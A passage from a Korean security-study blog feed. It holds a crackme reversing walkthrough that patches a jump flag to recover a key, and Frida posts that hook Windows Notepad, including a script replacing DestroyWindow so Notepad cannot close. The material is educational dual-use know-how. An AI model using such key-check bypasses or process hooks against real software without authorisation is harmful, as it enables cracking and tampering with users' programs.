&lt;p data-ke-size=&quot;size16&quot;&gt;Step&amp;nbsp;13.&amp;nbsp;ZF&amp;nbsp;값을&amp;nbsp;0에서&amp;nbsp;1로&amp;nbsp;변조&amp;nbsp;하였습니다.&amp;nbsp;(JNZ는&amp;nbsp;ZF&amp;nbsp;값&amp;nbsp;관련&amp;nbsp;명령어)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;13.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/BwsWx/btsrR5VmGGV/4Q3bbwbhCzZGFuu2FNTXjK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/BwsWx/btsrR5VmGGV/4Q3bbwbhCzZGFuu2FNTXjK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/BwsWx/btsrR5VmGGV/4Q3bbwbhCzZGFuu2FNTXjK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBwsWx%2FbtsrR5VmGGV%2F4Q3bbwbhCzZGFuu2FNTXjK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1040&quot; data-filename=&quot;13.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Step&amp;nbsp;14.&amp;nbsp;해당&amp;nbsp;분기&amp;nbsp;부분에서&amp;nbsp;eax값과&amp;nbsp;ebx값을&amp;nbsp;비교하는&amp;nbsp;CMP명령어를&amp;nbsp;확인하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;14.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bQ3PPT/btsrTSgXf9t/R9B6ktmJndR50MeYC5di0K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bQ3PPT/btsrTSgXf9t/R9B6ktmJndR50MeYC5di0K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bQ3PPT/btsrTSgXf9t/R9B6ktmJndR50MeYC5di0K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbQ3PPT%2FbtsrTSgXf9t%2FR9B6ktmJndR50MeYC5di0K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1040&quot; data-filename=&quot;14.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Step&amp;nbsp;15.&amp;nbsp;eax와&amp;nbsp;ebx의&amp;nbsp;값들을&amp;nbsp;확인하기&amp;nbsp;위해서&amp;nbsp;해당&amp;nbsp;부분으로&amp;nbsp;들어갔습니다.&amp;nbsp;(eax&amp;nbsp;&amp;lt;-&amp;nbsp;ecx,&amp;nbsp;ebx&amp;nbsp;&amp;lt;&amp;nbsp;-edx)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;15.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bqyAEl/btsrTqZa83f/va4tjdLlb2k35wBmKY6rbk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bqyAEl/btsrTqZa83f/va4tjdLlb2k35wBmKY6rbk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bqyAEl/btsrTqZa83f/va4tjdLlb2k35wBmKY6rbk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbqyAEl%2FbtsrTqZa83f%2Fva4tjdLlb2k35wBmKY6rbk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1040&quot; data-filename=&quot;15.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Step&amp;nbsp;16.&amp;nbsp;EDX에서&amp;nbsp;31h(1)&amp;nbsp;값을&amp;nbsp;확인하였습니다.&amp;nbsp;(테스트&amp;nbsp;입력&amp;nbsp;값)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;16.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/OXVVM/btsrR4CdTIM/raWKTP0uuIUgPiJ5AnlPZK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/OXVVM/btsrR4CdTIM/raWKTP0uuIUgPiJ5AnlPZK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/OXVVM/btsrR4CdTIM/raWKTP0uuIUgPiJ5AnlPZK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FOXVVM%2FbtsrR4CdTIM%2FraWKTP0uuIUgPiJ5AnlPZK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1040&quot; data-filename=&quot;16.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Step&amp;nbsp;17.&amp;nbsp;ECX에서&amp;nbsp;키&amp;nbsp;값을&amp;nbsp;확인하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;17.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bm2w2t/btsrZjY7pVd/rIEwIAejZNUCK5nVKBlkQk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bm2w2t/btsrZjY7pVd/rIEwIAejZNUCK5nVKBlkQk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bm2w2t/btsrZjY7pVd/rIEwIAejZNUCK5nVKBlkQk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbm2w2t%2FbtsrZjY7pVd%2FrIEwIAejZNUCK5nVKBlkQk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1040&quot; data-filename=&quot;17.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Step&amp;nbsp;18.&amp;nbsp;아스키&amp;nbsp;코드&amp;nbsp;표를&amp;nbsp;참고해서&amp;nbsp;변환&amp;nbsp;결과&amp;nbsp;키&amp;nbsp;값을&amp;nbsp;확인할&amp;nbsp;수&amp;nbsp;있었습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;18.png&quot; data-origin-width=&quot;781&quot; data-origin-height=&quot;581&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c2pykv/btsrZyV7bo1/J7nQQNnqsyYviORQSUFzp1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c2pykv/btsrZyV7bo1/J7nQQNnqsyYviORQSUFzp1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c2pykv/btsrZyV7bo1/J7nQQNnqsyYviORQSUFzp1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc2pykv%2FbtsrZyV7bo1%2FJ7nQQNnqsyYviORQSUFzp1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;781&quot; height=&quot;581&quot; data-filename=&quot;18.png&quot; data-origin-width=&quot;781&quot; data-origin-height=&quot;581&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Step&amp;nbsp;19.&amp;nbsp;확인한&amp;nbsp;키&amp;nbsp;값을&amp;nbsp;입력&amp;nbsp;후&amp;nbsp;Check하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;19.png&quot; data-origin-width=&quot;199&quot; data-origin-height=&quot;87&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dPXIhu/btsrYMN1rap/NbKim33VhP87Oszf0eRSiK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dPXIhu/btsrYMN1rap/NbKim33VhP87Oszf0eRSiK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dPXIhu/btsrYMN1rap/NbKim33VhP87Oszf0eRSiK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdPXIhu%2FbtsrYMN1rap%2FNbKim33VhP87Oszf0eRSiK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;199&quot; height=&quot;87&quot; data-filename=&quot;19.png&quot; data-origin-width=&quot;199&quot; data-origin-height=&quot;87&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Step&amp;nbsp;20.&amp;nbsp;해당&amp;nbsp;키&amp;nbsp;값이&amp;nbsp;정답인&amp;nbsp;것을&amp;nbsp;확인하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;20.png&quot; data-origin-width=&quot;127&quot; data-origin-height=&quot;128&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/WSxNF/btsrSOMGQgk/i7tmLkjA6vPtklHg3tyLZ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/WSxNF/btsrSOMGQgk/i7tmLkjA6vPtklHg3tyLZ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/WSxNF/btsrSOMGQgk/i7tmLkjA6vPtklHg3tyLZ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FWSxNF%2FbtsrSOMGQgk%2Fi7tmLkjA6vPtklHg3tyLZ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;127&quot; height=&quot;128&quot; data-filename=&quot;20.png&quot; data-origin-width=&quot;127&quot; data-origin-height=&quot;128&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>공부/리버싱문제</category>
      <category>abex' crackme</category>
      <category>abex' crackme10</category>
      <category>crackme</category>
      <category>crackme10</category>
      <category>Ida</category>
      <category>IDA사용법</category>
      <category>리버싱</category>
      <category>리버싱공부</category>
      <category>해킹</category>
      <category>해킹공부</category>
      <author>notepad.exe</author>
      <guid isPermaLink="true">https://geru.tistory.com/124</guid>
      <comments>https://geru.tistory.com/124#entry124comment</comments>
      <pubDate>Wed, 23 Aug 2023 09:00:11 +0900</pubDate>
    </item>
    <item>
      <title>[Frida] 윈도우 메모장 후킹 - 2(메모장이 종료 못하게)</title>
      <link>https://geru.tistory.com/122</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;메모장 종료 우회&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;메모장 - 메모장이 종료되지 않게 하기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실행 시&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Step&amp;nbsp;1.&amp;nbsp;현재&amp;nbsp;실행&amp;nbsp;중인&amp;nbsp;메모장&amp;nbsp;종료&amp;nbsp;시&amp;nbsp;종료되지&amp;nbsp;않는&amp;nbsp;것을&amp;nbsp;확인하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;2.png&quot; data-origin-width=&quot;781&quot; data-origin-height=&quot;581&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dQ5Qii/btsrxpN3sUz/2YkR9FkK91NMNWWxejCSCk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dQ5Qii/btsrxpN3sUz/2YkR9FkK91NMNWWxejCSCk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dQ5Qii/btsrxpN3sUz/2YkR9FkK91NMNWWxejCSCk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdQ5Qii%2FbtsrxpN3sUz%2F2YkR9FkK91NMNWWxejCSCk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;781&quot; height=&quot;581&quot; data-filename=&quot;2.png&quot; data-origin-width=&quot;781&quot; data-origin-height=&quot;581&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소스코드&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;var writePtr = Module.findExportByName(null, 'DestroyWindow');&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;Interceptor.replace(writePtr, new NativeCallback(function(a){&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;console.log(111111111111111111111111111111);&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;}, &lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;'void', ['void']));&lt;/span&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실행&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Step&amp;nbsp;1.&amp;nbsp;현재&amp;nbsp;실행중인&amp;nbsp;메모장을&amp;nbsp;대상으로&amp;nbsp;frida&amp;nbsp;명령어를&amp;nbsp;입력하였습니다. &lt;br /&gt;명령어&amp;nbsp;:&amp;nbsp;frida&amp;nbsp;-n&amp;nbsp;notepad.exe&amp;nbsp;-l&amp;nbsp;a.js&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;979&quot; data-origin-height=&quot;512&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bwl7JE/btsrB2EwlUu/I318GUg7T74TaLbH0sVRwK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bwl7JE/btsrB2EwlUu/I318GUg7T74TaLbH0sVRwK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bwl7JE/btsrB2EwlUu/I318GUg7T74TaLbH0sVRwK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbwl7JE%2FbtsrB2EwlUu%2FI318GUg7T74TaLbH0sVRwK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;979&quot; height=&quot;512&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;979&quot; data-origin-height=&quot;512&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Step&amp;nbsp;2.&amp;nbsp;현재&amp;nbsp;실행&amp;nbsp;중인&amp;nbsp;메모장&amp;nbsp;종료&amp;nbsp;시&amp;nbsp;종료되지&amp;nbsp;않는&amp;nbsp;것을&amp;nbsp;확인하였습니다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;2.png&quot; data-origin-width=&quot;781&quot; data-origin-height=&quot;581&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lsJbr/btsrCQ4FpCn/9tdT96p1lk7lKBUg27kDu0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lsJbr/btsrCQ4FpCn/9tdT96p1lk7lKBUg27kDu0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lsJbr/btsrCQ4FpCn/9tdT96p1lk7lKBUg27kDu0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlsJbr%2FbtsrCQ4FpCn%2F9tdT96p1lk7lKBUg27kDu0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;781&quot; height=&quot;581&quot; data-filename=&quot;2.png&quot; data-origin-width=&quot;781&quot; data-origin-height=&quot;581&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Step&amp;nbsp;3.&amp;nbsp;종료&amp;nbsp;시도&amp;nbsp;시&amp;nbsp;종료&amp;nbsp;기능의&amp;nbsp;함수가&amp;nbsp;&quot;11111111111111&quot;&amp;nbsp;출력&amp;nbsp;기능으로&amp;nbsp;변경되서&amp;nbsp;&quot;11111111111111&quot;이&amp;nbsp;출력되는&amp;nbsp;것을&amp;nbsp;확인하였습니다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;3.png&quot; data-origin-width=&quot;979&quot; data-origin-height=&quot;512&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bpwwtc/btsrCSg7nHY/PODEu3NqXCe85DUnvcx7Bk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bpwwtc/btsrCSg7nHY/PODEu3NqXCe85DUnvcx7Bk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bpwwtc/btsrCSg7nHY/PODEu3NqXCe85DUnvcx7Bk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbpwwtc%2FbtsrCSg7nHY%2FPODEu3NqXCe85DUnvcx7Bk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;979&quot; height=&quot;512&quot; data-filename=&quot;3.png&quot; data-origin-width=&quot;979&quot; data-origin-height=&quot;512&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;</description>
      <category>공부/모바일해킹문제</category>
      <category>Frida</category>
      <category>Interceptor</category>
      <category>Interceptor.replace</category>
      <category>replace</category>
      <category>메모장후킹</category>
      <category>모바일해킹</category>
      <category>모바일후킹</category>
      <category>프리다</category>
      <category>해킹</category>
      <category>후킹</category>
      <author>notepad.exe</author>
      <guid isPermaLink="true">https://geru.tistory.com/122</guid>
      <comments>https://geru.tistory.com/122#entry122comment</comments>
      <pubDate>Tue, 22 Aug 2023 09:00:05 +0900</pubDate>
    </item>
    <item>
      <title>[Frida] 윈도우 메모장 후킹 - 1(메모장 내의 문자열 사이에 문자열(test)을 집어넣기)</title>
      <link>https://geru.tistory.com/121</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;1. 메모장 문자열 변조/저장&lt;br /&gt;목표 : 메모장 후킹 후 현재 실행 중인 메모장 내의 문자열 사이에 문자열(test)을 집어넣기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실행&amp;nbsp;시&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Step&amp;nbsp;1.&amp;nbsp;a.log라는&amp;nbsp;실행&amp;nbsp;중인&amp;nbsp;메모장에&amp;nbsp;저장&amp;nbsp;기능을&amp;nbsp;실행하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;2.png&quot; data-origin-width=&quot;781&quot; data-origin-height=&quot;581&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/biDtqS/btsrDH7rXN7/4C7qEoJacXOWRgj5GwLKzk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/biDtqS/btsrDH7rXN7/4C7qEoJacXOWRgj5GwLKzk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/biDtqS/btsrDH7rXN7/4C7qEoJacXOWRgj5GwLKzk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbiDtqS%2FbtsrDH7rXN7%2F4C7qEoJacXOWRgj5GwLKzk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;781&quot; height=&quot;581&quot; data-filename=&quot;2.png&quot; data-origin-width=&quot;781&quot; data-origin-height=&quot;581&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Step&amp;nbsp;2.&amp;nbsp;a.log&amp;nbsp;텍스트&amp;nbsp;파일을&amp;nbsp;다시&amp;nbsp;열었을&amp;nbsp;시&amp;nbsp;문자열&amp;nbsp;사이에&amp;nbsp;임의의&amp;nbsp;문자열(test)가&amp;nbsp;입력된&amp;nbsp;것을&amp;nbsp;확인하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;4.png&quot; data-origin-width=&quot;781&quot; data-origin-height=&quot;581&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/l0EAO/btsrDCykoTs/C9DjButMQPhjwcU0NpnTI1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/l0EAO/btsrDCykoTs/C9DjButMQPhjwcU0NpnTI1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/l0EAO/btsrDCykoTs/C9DjButMQPhjwcU0NpnTI1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fl0EAO%2FbtsrDCykoTs%2FC9DjButMQPhjwcU0NpnTI1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;781&quot; height=&quot;581&quot; data-filename=&quot;4.png&quot; data-origin-width=&quot;781&quot; data-origin-height=&quot;581&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소스코드&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;
